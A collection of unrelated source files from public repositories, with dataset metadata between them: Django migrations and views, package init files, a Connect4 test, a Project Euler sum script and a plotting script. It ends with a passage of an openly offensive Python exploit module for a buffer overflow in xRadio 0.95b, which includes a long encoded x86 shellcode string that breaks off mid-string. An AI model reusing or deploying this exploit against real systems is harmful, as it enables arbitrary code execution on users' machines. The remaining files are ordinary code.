core/migrations/0012_auto_20191003_1532.py

nirgal/ngw

0a28e8f12cb342a20ca3456e2a2ab91dd9c898be

[ "BSD-2-Clause" ]

null

core/migrations/0012_auto_20191003_1532.py

nirgal/ngw

0a28e8f12cb342a20ca3456e2a2ab91dd9c898be

[ "BSD-2-Clause" ]

null

# -*- coding: utf-8 -*- # Generated by Django 1.11.23 on 2019-10-03 15:32 from __future__ import unicode_literals import django.db.models.deletion from django.conf import settings from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('ngw', '0011_choicecontactfield_datecontactfield_datetimecontactfield' '_emailcontactfield_filecontactfield_imagecon'), ] operations = [ migrations.AlterField( model_name='choice', name='choice_group', field=models.ForeignKey( on_delete=django.db.models.deletion.CASCADE, related_name='choices', to='ngw.ChoiceGroup'), ), migrations.AlterField( model_name='contactfield', name='choice_group', field=models.ForeignKey( blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, to='ngw.ChoiceGroup', verbose_name='Choice group'), ), migrations.AlterField( model_name='contactfield', name='choice_group2', field=models.ForeignKey( blank=True, null=True, on_delete=django.db.models.deletion.PROTECT, related_name='second_choices_set', to='ngw.ChoiceGroup', verbose_name='Second choice group'), ), migrations.AlterField( model_name='contactfield', name='contact_group', field=models.ForeignKey( on_delete=django.db.models.deletion.PROTECT, to='ngw.ContactGroup', verbose_name='Only for'), ), migrations.AlterField( model_name='contactfieldvalue', name='contact', field=models.ForeignKey( on_delete=django.db.models.deletion.CASCADE, related_name='values', to=settings.AUTH_USER_MODEL), ), migrations.AlterField( model_name='contactfieldvalue', name='contact_field', field=models.ForeignKey( on_delete=django.db.models.deletion.CASCADE, related_name='values', to='ngw.ContactField'), ), migrations.AlterField( model_name='contactgroupnews', name='contact_group', field=models.ForeignKey( blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='news_set', to='ngw.ContactGroup'), ), migrations.AlterField( model_name='contactingroup', name='contact', field=models.ForeignKey( on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL), ), migrations.AlterField( model_name='contactingroup', name='group', field=models.ForeignKey( on_delete=django.db.models.deletion.CASCADE, to='ngw.ContactGroup'), ), migrations.AlterField( model_name='contactmsg', name='contact', field=models.ForeignKey( on_delete=django.db.models.deletion.CASCADE, to=settings.AUTH_USER_MODEL, verbose_name='Contact'), ), migrations.AlterField( model_name='contactmsg', name='group', field=models.ForeignKey( on_delete=django.db.models.deletion.CASCADE, related_name='message_set', to='ngw.ContactGroup'), ), migrations.AlterField( model_name='contactmsg', name='read_by', field=models.ForeignKey( null=True, on_delete=django.db.models.deletion.PROTECT, related_name='msgreader', to=settings.AUTH_USER_MODEL), ), migrations.AlterField( model_name='groupingroup', name='father', field=models.ForeignKey( on_delete=django.db.models.deletion.PROTECT, related_name='direct_gig_subgroups', to='ngw.ContactGroup'), ), migrations.AlterField( model_name='groupingroup', name='subgroup', field=models.ForeignKey( on_delete=django.db.models.deletion.PROTECT, related_name='direct_gig_supergroups', to='ngw.ContactGroup'), ), migrations.AlterField( model_name='groupmanagegroup', name='father', field=models.ForeignKey( on_delete=django.db.models.deletion.CASCADE, related_name='direct_gmg_subgroups', to='ngw.ContactGroup'), ), migrations.AlterField( model_name='groupmanagegroup', name='subgroup', field=models.ForeignKey( on_delete=django.db.models.deletion.CASCADE, related_name='direct_gmg_supergroups', to='ngw.ContactGroup'), ), migrations.AlterField( model_name='log', name='contact', field=models.ForeignKey( null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL), ), ]

34.987578

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485

5,633

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0.085453

0.134283

0.81214

0.783995

0.743642

0.724313

0.597152

0.46253

0

0.00638

0.360021

5,633

160

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0.81165

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0

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1

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false

0

0.026144

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0.045752

0

null

0

1

0

1

0

null

0

6

0f6e669980fedaac04a91892252e1057000652b3

228

py

Python

fish/account/views.py

JoyBoyMaLin/no-fish

5f8048fbc334af6d149dd86a5b8b14ad4afba0cb

[ "MIT" ]

null

fish/account/views.py

JoyBoyMaLin/no-fish

5f8048fbc334af6d149dd86a5b8b14ad4afba0cb

[ "MIT" ]

null

fish/account/views.py

JoyBoyMaLin/no-fish

5f8048fbc334af6d149dd86a5b8b14ad4afba0cb

[ "MIT" ]

null

from django.contrib import admin from ratelimit.decorators import ratelimit @ratelimit(key='ip', rate='5/h', block=True) def extend_admin_login(request, extra_context=None): return admin.site.login(request, extra_context)

28.5

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0.789474

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228

5.333333

0.69697

0.136364

0.193182

0.272727

0

0.004878

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228

7

53

32.571429

0.853659

0

0.02193

0

1

0.2

false

0

0.4

0.2

0.8

0

null

0

1

0

1

0

null

0

1

0

6

7e3fea706fb97f9afcb328081840fc3db9d6f45a

30

py

Python

verificac19/service/__init__.py

VC19-SDK/pyverificac19

a6c5550b3445b147577e9a0cc7f21a8151989870

[ "MIT" ]

8

2021-12-20T14:57:34.000Z

2022-01-14T01:24:45.000Z

verificac19/service/__init__.py

VC19-SDK/pyverificac19

a6c5550b3445b147577e9a0cc7f21a8151989870

[ "MIT" ]

21

2021-12-20T09:55:57.000Z

2022-03-07T08:48:37.000Z

verificac19/service/__init__.py

VC19-SDK/pyverificac19

a6c5550b3445b147577e9a0cc7f21a8151989870

[ "MIT" ]

2

2022-01-04T21:23:01.000Z

2022-02-04T10:32:54.000Z

from .service import _service

15

29

0.833333

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0.923077

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1

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null

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1

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1

0

1

0

6

0e5142afcfc430c799c9afce864e0c94f271c5b6

196

py

Python

online-event-resources/web-development/django102/presentations/admin.py

aindrila2412/Reactors

6efd59e53dc9026ae68dcbc814945d12a5a41071

[ "MIT" ]

385

2019-10-21T14:36:08.000Z

2022-03-31T16:35:53.000Z

online-event-resources/web-development/django102/presentations/admin.py

aindrila2412/Reactors

6efd59e53dc9026ae68dcbc814945d12a5a41071

[ "MIT" ]

115

2019-10-19T02:41:58.000Z

2022-03-04T23:00:41.000Z

online-event-resources/web-development/django102/presentations/admin.py

aindrila2412/Reactors

6efd59e53dc9026ae68dcbc814945d12a5a41071

[ "MIT" ]

303

2019-10-18T07:27:40.000Z

2022-03-29T12:44:01.000Z

from django.contrib import admin from . import models # Register your models here. admin.site.register(models.Presentation) admin.site.register(models.Speaker) admin.site.register(models.Track)

21.777778

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0.811224

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5.888889

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0.320755

0.433962

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8

41

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6

0e63d7f59aa0685ad20e3a0e7a10fada13fde183

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py

Python

src/press_start/pipelines/feature_selection/__init__.py

luizvbo/press-start

02590c2176a4ae53287fe5a9b5c6a1ecd30bcdb6

[ "BSD-3-Clause" ]

1

2022-02-02T08:30:29.000Z

src/press_start/pipelines/feature_selection/__init__.py

luizvbo/press-start

02590c2176a4ae53287fe5a9b5c6a1ecd30bcdb6

[ "BSD-3-Clause" ]

null

src/press_start/pipelines/feature_selection/__init__.py

luizvbo/press-start

02590c2176a4ae53287fe5a9b5c6a1ecd30bcdb6

[ "BSD-3-Clause" ]

null

from .pipeline import create_pipeline # NOQA

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6

0e9e456f095e2315688e0d1cd6e1835a2e55ec1a

157

py

Python

app/api_1_0/__init__.py

Zoctan/flask-api-seed

eef9e63415a563e31e256fc7380edb7c6b12a3ab

[ "Apache-2.0" ]

null

app/api_1_0/__init__.py

Zoctan/flask-api-seed

eef9e63415a563e31e256fc7380edb7c6b12a3ab

[ "Apache-2.0" ]

null

app/api_1_0/__init__.py

Zoctan/flask-api-seed

eef9e63415a563e31e256fc7380edb7c6b12a3ab

[ "Apache-2.0" ]

null

#!/usr/bin/env python3 # -*- coding: utf-8 -*- from flask import Blueprint api = Blueprint('api_1_0', __name__) from . import authentication, user, error

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null

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6

7ee129242ccabb9bd6b87a61196c01e10c37bd0d

36

py

Python

doctorbot/hospital_crawler/views/__init__.py

zuxfoucault/DoctorBot_demo

82e24078da4d2e6caba728b959812401109e014d

[ "MIT" ]

1

2020-09-24T07:26:14.000Z

doctorbot/hospital_crawler/views/__init__.py

lintzuhsiang/Doctorbot

6be98bbf380d14bb789d30a137ded3b51b3f31fd

[ "MIT" ]

null

doctorbot/hospital_crawler/views/__init__.py

lintzuhsiang/Doctorbot

6be98bbf380d14bb789d30a137ded3b51b3f31fd

[ "MIT" ]

null

from .movie_view import MovieDetail

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1

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1

0

6

70e643f2c110657bc05fe9afce7b576fa78ac4f1

61

py

Python

digit/data_load/__init__.py

ResMarkus/SHOT

02bef3ec376ea360f03933bd9f6d6b496815fb48

[ "MIT" ]

null

digit/data_load/__init__.py

ResMarkus/SHOT

02bef3ec376ea360f03933bd9f6d6b496815fb48

[ "MIT" ]

null

digit/data_load/__init__.py

ResMarkus/SHOT

02bef3ec376ea360f03933bd9f6d6b496815fb48

[ "MIT" ]

null

from .mnist import * from .svhn import * from .usps import *

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1

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6

cb12539a3c59878c87d69ff9cbb6ed45cd542f1c

243

py

Python

data/lib/customOS/__init__.py

Synell/PERT-Maker

8eac93eaa788ee0a201437e5bd30d55133d7cd38

[ "MIT" ]

2

2022-01-20T06:16:00.000Z

2022-01-20T07:30:26.000Z

data/lib/customOS/__init__.py

Synell/PERT-Maker

8eac93eaa788ee0a201437e5bd30d55133d7cd38

[ "MIT" ]

null

data/lib/customOS/__init__.py

Synell/PERT-Maker

8eac93eaa788ee0a201437e5bd30d55133d7cd38

[ "MIT" ]

null

#---------------------------------------------------------------------- # Libraries from .get import * from .encoding import * from .stringExtension import * #----------------------------------------------------------------------

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null

0

1

0

1

0

6

cb1e0a9624230e75482ae64be567028b3ad23a41

327

py

Python

tests/test_agents_common_next_player.py

InesVogel/Connect4

9528115515fb33d107ebc26d4141a1d3effdca5e

[ "MIT" ]

null

tests/test_agents_common_next_player.py

InesVogel/Connect4

9528115515fb33d107ebc26d4141a1d3effdca5e

[ "MIT" ]

null

tests/test_agents_common_next_player.py

InesVogel/Connect4

9528115515fb33d107ebc26d4141a1d3effdca5e

[ "MIT" ]

null

from agents.common import PLAYER1, PLAYER2, NO_PLAYER, next_player def test_next_player_expectedPLAYER1(): assert next_player(PLAYER2) == PLAYER1 def test_next_player_expectedPLAYER2(): assert next_player(PLAYER1) == PLAYER2 def test_next_player_expectedNOPLAYER(): assert next_player(NO_PLAYER) == NO_PLAYER

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0

1

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6

cb8770c793e24d90bf0fb8e3e253a244574d3a78

6,272

py

Python

euler/13:Large_sum.py

Alexdelia/Puzzle_Solving

620e07508cd36dba7b806040c36360b87eb4637e

[ "CC0-1.0" ]

null

euler/13:Large_sum.py

Alexdelia/Puzzle_Solving

620e07508cd36dba7b806040c36360b87eb4637e

[ "CC0-1.0" ]

null

euler/13:Large_sum.py

Alexdelia/Puzzle_Solving

620e07508cd36dba7b806040c36360b87eb4637e

[ "CC0-1.0" ]

null

# **************************************************************************** # # # # ::: :::::::: # # 13:Large_sum.py :+: :+: :+: # # +:+ +:+ +:+ # # By: adelille <adelille@student.42.fr> +#+ +:+ +#+ # # +#+#+#+#+#+ +#+ # # Created: 2021/09/23 20:48:56 by adelille #+# #+# # # Updated: 2021/09/23 20:54:25 by adelille ### ########.fr # # # # **************************************************************************** # # I love C, but Fuck C in this particular situation # I don't want to store the 100, 50 digits numbers in string # and then add them while increasing when it goes over 10 in each char numbers = """37107287533902102798797998220837590246510135740250 46376937677490009712648124896970078050417018260538 74324986199524741059474233309513058123726617309629 91942213363574161572522430563301811072406154908250 23067588207539346171171980310421047513778063246676 89261670696623633820136378418383684178734361726757 28112879812849979408065481931592621691275889832738 44274228917432520321923589422876796487670272189318 47451445736001306439091167216856844588711603153276 70386486105843025439939619828917593665686757934951 62176457141856560629502157223196586755079324193331 64906352462741904929101432445813822663347944758178 92575867718337217661963751590579239728245598838407 58203565325359399008402633568948830189458628227828 80181199384826282014278194139940567587151170094390 35398664372827112653829987240784473053190104293586 86515506006295864861532075273371959191420517255829 71693888707715466499115593487603532921714970056938 54370070576826684624621495650076471787294438377604 53282654108756828443191190634694037855217779295145 36123272525000296071075082563815656710885258350721 45876576172410976447339110607218265236877223636045 17423706905851860660448207621209813287860733969412 81142660418086830619328460811191061556940512689692 51934325451728388641918047049293215058642563049483 62467221648435076201727918039944693004732956340691 15732444386908125794514089057706229429197107928209 55037687525678773091862540744969844508330393682126 18336384825330154686196124348767681297534375946515 80386287592878490201521685554828717201219257766954 78182833757993103614740356856449095527097864797581 16726320100436897842553539920931837441497806860984 48403098129077791799088218795327364475675590848030 87086987551392711854517078544161852424320693150332 59959406895756536782107074926966537676326235447210 69793950679652694742597709739166693763042633987085 41052684708299085211399427365734116182760315001271 65378607361501080857009149939512557028198746004375 35829035317434717326932123578154982629742552737307 94953759765105305946966067683156574377167401875275 88902802571733229619176668713819931811048770190271 25267680276078003013678680992525463401061632866526 36270218540497705585629946580636237993140746255962 24074486908231174977792365466257246923322810917141 91430288197103288597806669760892938638285025333403 34413065578016127815921815005561868836468420090470 23053081172816430487623791969842487255036638784583 11487696932154902810424020138335124462181441773470 63783299490636259666498587618221225225512486764533 67720186971698544312419572409913959008952310058822 95548255300263520781532296796249481641953868218774 76085327132285723110424803456124867697064507995236 37774242535411291684276865538926205024910326572967 23701913275725675285653248258265463092207058596522 29798860272258331913126375147341994889534765745501 18495701454879288984856827726077713721403798879715 38298203783031473527721580348144513491373226651381 34829543829199918180278916522431027392251122869539 40957953066405232632538044100059654939159879593635 29746152185502371307642255121183693803580388584903 41698116222072977186158236678424689157993532961922 62467957194401269043877107275048102390895523597457 23189706772547915061505504953922979530901129967519 86188088225875314529584099251203829009407770775672 11306739708304724483816533873502340845647058077308 82959174767140363198008187129011875491310547126581 97623331044818386269515456334926366572897563400500 42846280183517070527831839425882145521227251250327 55121603546981200581762165212827652751691296897789 32238195734329339946437501907836945765883352399886 75506164965184775180738168837861091527357929701337 62177842752192623401942399639168044983993173312731 32924185707147349566916674687634660915035914677504 99518671430235219628894890102423325116913619626622 73267460800591547471830798392868535206946944540724 76841822524674417161514036427982273348055556214818 97142617910342598647204516893989422179826088076852 87783646182799346313767754307809363333018982642090 10848802521674670883215120185883543223812876952786 71329612474782464538636993009049310363619763878039 62184073572399794223406235393808339651327408011116 66627891981488087797941876876144230030984490851411 60661826293682836764744779239180335110989069790714 85786944089552990653640447425576083659976645795096 66024396409905389607120198219976047599490197230297 64913982680032973156037120041377903785566085089252 16730939319872750275468906903707539413042652315011 94809377245048795150954100921645863754710598436791 78639167021187492431995700641917969777599028300699 15368713711936614952811305876380278410754449733078 40789923115535562561142322423255033685442488917353 44889911501440648020369068063960672322193204149535 41503128880339536053299340368006977710650566631954 81234880673210146739058568557934581403627822703280 82616570773948327592232845941706525094512325230608 22918802058777319719839450180888072429661980811197 77158542502016545090413245809786882778948721859617 72107838435069186155435662884062257473692284509516 20849603980134001723930671666823555245252804609722 53503534226472524250874054075591789781264330331690""" numbers = [int(i) for i in numbers.split("\n")] print(str(sum(numbers))[:10])

52.266667

80

0.845344

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6,272

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0

1

0

1

0

1

null

1

0

6

cbac952b1ce9f7dc2df3b3ff6e80160492f86c5c

82

py

Python

hrv/sampledata/__init__.py

rhenanbartels/hrv

3f813f6727ff693daccf2fd1a939a30a966f56e1

[ "BSD-3-Clause" ]

157

2016-10-21T00:41:25.000Z

2022-03-29T01:53:30.000Z

hrv/sampledata/__init__.py

nickzhuang0613/hrv

190c923250884b1f5632e38658bd8df7d9d5352e

[ "BSD-3-Clause" ]

23

2017-03-26T19:45:21.000Z

2021-12-16T06:54:08.000Z

hrv/sampledata/__init__.py

nickzhuang0613/hrv

190c923250884b1f5632e38658bd8df7d9d5352e

[ "BSD-3-Clause" ]

50

2016-10-21T00:23:35.000Z

2022-03-08T12:01:57.000Z

from hrv.sampledata._load import load_rest_rri, load_exercise_rri, load_noisy_rri

41

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4.642857

0.642857

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0

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82

1

82

0.855263

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true

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null

0

1

0

1

0

1

0

6

cbb297179d0f24e5414590bc1d5c6cbbdcb5406e

8,355

py

Python

src/plot/plot-bb/plot4_centroids.py

bcrafton/speed_read

3e9c0c873e49e4948a216aae14ec0d4654d1a62c

[ "MIT" ]

null

src/plot/plot-bb/plot4_centroids.py

bcrafton/speed_read

3e9c0c873e49e4948a216aae14ec0d4654d1a62c

[ "MIT" ]

null

src/plot/plot-bb/plot4_centroids.py

bcrafton/speed_read

3e9c0c873e49e4948a216aae14ec0d4654d1a62c

[ "MIT" ]

2

2020-11-08T12:51:23.000Z

2021-12-02T23:16:48.000Z

import numpy as np np.set_printoptions(precision=2, suppress=True) import matplotlib.pyplot as plt #################### def merge_dicts(list_of_dicts): results = {} for d in list_of_dicts: for key in d.keys(): if key in results.keys(): results[key].append(d[key]) else: results[key] = [d[key]] return results #################### comp_pJ = 22. * 1e-12 / 32. / 16. num_layers = 6 num_comparator = 8 results = np.load('results.npy', allow_pickle=True).item() x = np.array([0.06, 0.08, 0.10, 0.12, 0.14, 0.16, 0.18, 0.20]) y_mean = np.zeros(shape=(2, 2, 2, len(x), num_layers)) y_std = np.zeros(shape=(2, 2, 2, len(x), num_layers)) y_mac_per_cycle = np.zeros(shape=(2, 2, 2, len(x), num_layers)) y_mac_per_pJ = np.zeros(shape=(2, 2, 2, len(x), num_layers)) y_mac = np.zeros(shape=(2, 2, 2, len(x), num_layers)) y_cycle = np.zeros(shape=(2, 2, 2, len(x), num_layers)) y_ron = np.zeros(shape=(2, 2, 2, len(x), num_layers)) y_roff = np.zeros(shape=(2, 2, 2, len(x), num_layers)) y_adc = np.zeros(shape=(2, 2, 2, len(x), num_layers, num_comparator)) y_energy = np.zeros(shape=(2, 2, 2, len(x), num_layers)) #################### for key in sorted(results.keys()): (skip, cards, alloc, profile, narray, sigma, rpr) = key layer_results = results[key] if rpr == 'dynamic': rpr = 0 elif rpr == 'centroids': rpr = 1 else: assert (False) for layer in range(num_layers): example_results = merge_dicts(layer_results[layer]) sigma_index = np.where(x == sigma)[0][0] y_mean[skip][cards][rpr][sigma_index][layer] = np.mean(example_results['mean']) y_std[skip][cards][rpr][sigma_index][layer] = np.mean(example_results['std']) y_mac_per_cycle[skip][cards][rpr][sigma_index][layer] = np.sum(example_results['nmac']) / np.sum(example_results['cycle']) y_mac[skip][cards][rpr][sigma_index][layer] = np.mean(example_results['nmac']) y_cycle[skip][cards][rpr][sigma_index][layer] = np.mean(example_results['cycle']) y_ron[skip][cards][rpr][sigma_index][layer] = np.sum(example_results['ron']) y_roff[skip][cards][rpr][sigma_index][layer] = np.sum(example_results['roff']) y_adc[skip][cards][rpr][sigma_index][layer] = np.sum(example_results['adc'], axis=0) y_energy[skip][cards][rpr][sigma_index][layer] += y_ron[skip][cards][rpr][sigma_index][layer] * 2e-16 y_energy[skip][cards][rpr][sigma_index][layer] += y_roff[skip][cards][rpr][sigma_index][layer] * 2e-16 y_energy[skip][cards][rpr][sigma_index][layer] += np.sum(y_adc[skip][cards][rpr][sigma_index][layer] * np.array([1,2,3,4,5,6,7,8]) * comp_pJ) y_mac_per_pJ[skip][cards][rpr][sigma_index][layer] = np.sum(example_results['nmac']) / 1e12 / np.sum(y_energy[skip][cards][rpr][sigma_index][layer]) #################### plot_layer = 0 #################### TOPs_skip = 2 * 700e6 * np.sum(y_mac_per_cycle[1, 0, 0, :, :], axis=1) / 1e12 TOPs_cards = 2 * 700e6 * np.sum(y_mac_per_cycle[1, 1, 0, :, :], axis=1) / 1e12 TOPs_centroids = 2 * 700e6 * np.sum(y_mac_per_cycle[1, 1, 1, :, :], axis=1) / 1e12 #################### MAC_pJ_skip = np.sum(y_mac[1, 0, 0, :, :], axis=1) / 1e12 / np.sum(y_energy[1, 0, 0, :, :], axis=1) MAC_pJ_cards = np.sum(y_mac[1, 1, 0, :, :], axis=1) / 1e12 / np.sum(y_energy[1, 1, 0, :, :], axis=1) MAC_pJ_centroids = np.sum(y_mac[1, 1, 1, :, :], axis=1) / 1e12 / np.sum(y_energy[1, 1, 1, :, :], axis=1) #################### plt.cla() ax = plt.gca() # plt.plot(x, y_mac_per_cycle[0, 0, :, plot_layer], color='green', marker="D", markersize=5, label='baseline') plt.plot(x, TOPs_skip, color='green', marker="D", markersize=5, label='skip') plt.plot(x, TOPs_cards, color='blue', marker="s", markersize=6, label='cards') plt.plot(x, TOPs_centroids, color='black', marker="^", markersize=6, label='k-means') plt.ylim(bottom=0) plt.xticks(x) # plt.xticks([0.08, 0.12]) # plt.yticks([]) # ax.axes.xaxis.set_ticklabels([]) # ax.axes.yaxis.set_ticklabels([]) plt.xlabel('Variance') plt.ylabel('TOPs') plt.grid(True, linestyle='dotted') fig = plt.gcf() # fig.set_size_inches(4., 2.5) plt.tight_layout() plt.legend() fig.savefig('TOPs.png', dpi=300) plt.cla() ax = plt.gca() # plt.plot(x, y_mac_per_pJ[0, 0, :, plot_layer], color='green', marker="D", markersize=5, label='baseline') plt.plot(x, MAC_pJ_skip, color='green', marker="D", markersize=5, label='skip') plt.plot(x, MAC_pJ_cards, color='blue', marker="s", markersize=6, label='cards') plt.plot(x, MAC_pJ_centroids, color='black', marker="^", markersize=6, label='k-means') plt.ylim(bottom=0) plt.xticks(x) # plt.xticks([0.08, 0.12]) # plt.yticks([]) plt.xlabel('Variance') plt.ylabel('MAC / pJ') # ax.axes.xaxis.set_ticklabels([]) # ax.axes.yaxis.set_ticklabels([]) plt.grid(True, linestyle='dotted') fig = plt.gcf() # fig.set_size_inches(4., 2.5) plt.tight_layout() plt.legend() fig.savefig('mac_per_pJ.png', dpi=300) plt.cla() ax = plt.gca() # plt.plot(x, y_std[0, 0, :, plot_layer], color='green', marker="D", markersize=5, label='baseline') # plt.plot(x, y_std[1, 0, 0, :, plot_layer], color='green', marker="D", markersize=5, label='skip') # plt.plot(x, y_std[1, 1, 0, :, plot_layer], color='blue', marker="s", markersize=6, label='cards') # plt.plot(x, y_std[1, 1, 1, :, plot_layer], color='black', marker="^", markersize=6, label='k-means') plt.plot(x, np.mean(y_std[1, 0, 0, :, :], axis=1), color='green', marker="D", markersize=5, label='skip') plt.plot(x, np.mean(y_std[1, 1, 0, :, :], axis=1), color='blue', marker="s", markersize=6, label='cards') plt.plot(x, np.mean(y_std[1, 1, 1, :, :], axis=1), color='black', marker="^", markersize=6, label='k-means') plt.ylim(bottom=0, top=1) plt.xticks(x) # plt.xticks([0.08, 0.12]) # plt.yticks([]) plt.xlabel('Variance') plt.ylabel('Mean Squared Error') # ax.axes.xaxis.set_ticklabels([]) # ax.axes.yaxis.set_ticklabels([]) plt.grid(True, linestyle='dotted') fig = plt.gcf() # fig.set_size_inches(4., 2.5) plt.tight_layout() plt.legend() fig.savefig('mse.png', dpi=300) ''' plt.cla() ax = plt.gca() plt.plot(x, acc[0, 0, :], color='green', marker="D", markersize=5, label='baseline') plt.plot(x, acc[1, 0, :], color='blue', marker="s", markersize=5, label='skip') plt.plot(x, acc[1, 1, :], color='black', marker="^", markersize=6, label='cards') plt.ylim(bottom=0, top=1) plt.xticks([0.08, 0.12]) # plt.yticks([]) ax.axes.xaxis.set_ticklabels([]) ax.axes.yaxis.set_ticklabels([]) plt.grid(True, linestyle='dotted') fig = plt.gcf() fig.set_size_inches(4., 2.5) plt.tight_layout() fig.savefig('acc.png', dpi=300) ''' #################### # print (y_std[1, 0, :, :]) # print ('------') # print (y_std[1, 1, :, :]) ''' print ('mac / pJ') print (np.around(y_mac_per_pJ[1, 1, 1, :, plot_layer] / y_mac_per_pJ[1, 0, 0, :, plot_layer], 3)) print ('mac / cycle') print (np.around(y_mac_per_cycle[1, 1, 1, :, plot_layer] / y_mac_per_cycle[1, 0, 0, :, plot_layer], 3)) print ('mse') print (np.around(y_std[1, 1, 1, :, :] / y_std[1, 0, 0, :, :], 2)) print ('----------') print ('----------') print ('----------') print ('mac / pJ') print (np.around(y_mac_per_pJ[1, 1, 1, :, plot_layer] / y_mac_per_pJ[1, 1, 0, :, plot_layer], 3)) print ('mac / cycle') print (np.around(y_mac_per_cycle[1, 1, 1, :, plot_layer] / y_mac_per_cycle[1, 1, 0, :, plot_layer], 3)) print ('mse') print (np.around(y_std[1, 1, 1, :, :] / y_std[1, 1, 0, :, :], 2)) ''' #################### print ('mac / pJ') print (np.around(MAC_pJ_centroids / MAC_pJ_cards, 3)) print ('mac / cycle') print (np.around(TOPs_centroids / TOPs_cards, 3)) print ('mse') print (np.around(y_std[1, 1, 1, :, :] / y_std[1, 1, 0, :, :], 2)) print ('----------') print ('----------') print ('----------') print ('mac / pJ') print (np.around(MAC_pJ_centroids / MAC_pJ_skip, 3)) print ('mac / cycle') print (np.around(TOPs_centroids / TOPs_skip, 3)) print ('mse') print (np.around(y_std[1, 1, 1, :, :] / y_std[1, 0, 0, :, :], 2)) print ('----------') print ('----------') print ('----------') print ('mac / pJ') print (np.around(MAC_pJ_cards / MAC_pJ_skip, 3)) print ('mac / cycle') print (np.around(TOPs_cards / TOPs_skip, 3)) print ('mse') print (np.around(y_std[1, 1, 0, :, :] / y_std[1, 0, 0, :, :], 2)) ####################

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modules/sdl2/__init__.py

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Vertexwahn/FlatlandRT

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third_party/tclap-1.4.0-rc1/tests/test65.py

Vertexwahn/FlatlandRT

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#!/usr/bin/python import simple_test simple_test.test("test12", ["-v", "1 2 3", "-v", "4 5 6", "-v", "7 8 9", "-v", "-1 0.2 0.4", ])

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ape_vyper/__init__.py

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ape_vyper/__init__.py

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ape_vyper/__init__.py

NotPeopling2day/ape-vyper

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from ape import plugins from .compiler import VyperCompiler @plugins.register(plugins.CompilerPlugin) def register_compiler(): return (".vy",), VyperCompiler

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src/datasets/common/__init__.py

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exploit/xRadio.py

NotFoundHacker/KaliExploit

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exploit/xRadio.py

NotFoundHacker/KaliExploit

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exploit/xRadio.py

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[ "MIT" ]

null

#!/usr/bin/python # from core import logger # # windows/messagebox - 590 bytes # x86/alpha_upper # """ This module exploits a buffer overflow in xRadio 0.95b. Using the application to import a specially crafted xrl file, a buffer overflow occurs allowing arbitrary code execution.""" class Exploit: config={ } def show_options(self): print(Fore.YELLOW+"Options"+Style.RESET_ALL) print(Fore.YELLOW+"-------"+Style.RESET_ALL) for key in sorted(self.config.keys()): print(Fore.YELLOW+key,":",self.get_config(key)+Style.RESET_ALL) @staticmethod def show_info(): logger.info("\nThis exploit tries to do a buffer \noverflow to xRadio type run\n to generate file") def set_config(self, key, value): if key in self.config.keys(): self.config[key] = value else: logger.error("No options") def get_config(self, key): return self.config[key] @staticmethod def run(): shellcode = ("\x89\xe1\xd9\xd0\xd9\x71\xf4\x59\x49\x49\x49\x49\x49\x43\x43" "\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34\x41" "\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42" "\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50" "\x38\x41\x43\x4a\x4a\x49\x58\x59\x5a\x4b\x4d\x4b\x58\x59\x54" "\x34\x47\x54\x4c\x34\x50\x31\x58\x52\x4e\x52\x43\x47\x50\x31" "\x58\x49\x52\x44\x4c\x4b\x52\x51\x56\x50\x4c\x4b\x54\x36\x54" "\x4c\x4c\x4b\x54\x36\x45\x4c\x4c\x4b\x51\x56\x43\x38\x4c\x4b" "\x43\x4e\x47\x50\x4c\x4b\x56\x56\x50\x38\x50\x4f\x45\x48\x52" "\x55\x5a\x53\x51\x49\x45\x51\x58\x51\x4b\x4f\x4b\x51\x43\x50" "\x4c\x4b\x52\x4c\x51\x34\x47\x54\x4c\x4b\x50\x45\x47\x4c\x4c" "\x4b\x50\x54\x56\x48\x43\x48\x45\x51\x4b\x5a\x4c\x4b\x51\x5a" "\x45\x48\x4c\x4b\x50\x5a\x51\x30\x45\x51\x5a\x4b\x4d\x33\x50" "\x34\x51\x59\x4c\x4b\x56\x54\x4c\x4b\x45\x51\x5a\x4e\x56\x51" "\x4b\x4f\x50\x31\x49\x50\x4b\x4c\x4e\x4c\x4d\x54\x4f\x30\x43" "\x44\x45\x57\x4f\x31\x58\x4f\x54\x4d\x43\x31\x49\x57\x5a\x4b" "\x4c\x34\x47\x4b\x43\x4c\x56\x44\x51\x38\x54\x35\x4b\x51\x4c" "\x4b\x50\x5a\x56\x44\x45\x51\x5a\x4b\x52\x46\x4c\x4b\x54\x4c" "\x50\x4b\x4c\x4b\x51\x4a\x45\x4c\x45\x51\x5a\x4b\x4c\x4b\x43" "\x34\x4c\x4b\x45\x51\x4b\x58\x4d\x59\x51\x54\x56\x44\x45\x4c" "\x45\x31\x58\x43\x4f\x42\x45\x58\x51\x39\x49\x44\x4b\x39\x4d" "\x35\x4b\x39\x49\x52\x43\x58\x4c\x4e\x50\x4e\x54\x4e\x5a\x4c" "\x51\x42\x4d\x38\x4d\x4f\x4b\x4f\x4b\x4f\x4b\x4f\x4c\x49\x51" "\x55\x54\x44\x4f\x4b\x43\x4e\x4e\x38\x4d\x32\x43\x43\x4b\x37" "\x45\x4c\x56\x44\x56\x32\x5a\x48\x4c\x4e\x4b\x4f\x4b\x4f\x4b" "\x4f\x4b\x39\x51\x55\x45\x58\x43\x58\x52\x4c\x52\x4c\x51\x30" "\x47\x31\x43\x58\x56\x53\x47\x42\x56\x4e\x45\x34\x43\x58\x52" "\x55\x54\x33\x45\x35\x52\x52\x4b\x38\x51\x4c\x56\x44\x54\x4a" "\x4d\x59\x4d\x36\x50\x56\x4b\x4f\x51\x45\x54\x44\x4c\x49\x58" "\x42\x56\x30\x4f\x4b\x4e\x48\x4e\x42\x50\x4d\x4f\x4c\x4c\x47" "\x45\x4c\x51\x34\x50\x52\x5a\x48\x43\x51\x4b\x4f\x4b\x4f\x4b" "\x4f\x45\x38\x43\x52\x52\x52\x51\x48\x47\x50\x45\x38\x52\x43" "\x52\x4f\x52\x4d\x56\x4e\x52\x48\x43\x55\x43\x55\x52\x4b\x56" "\x4e\x52\x48\x45\x37\x52\x4f\x43\x44\x52\x47\x50\x31\x49\x4b" 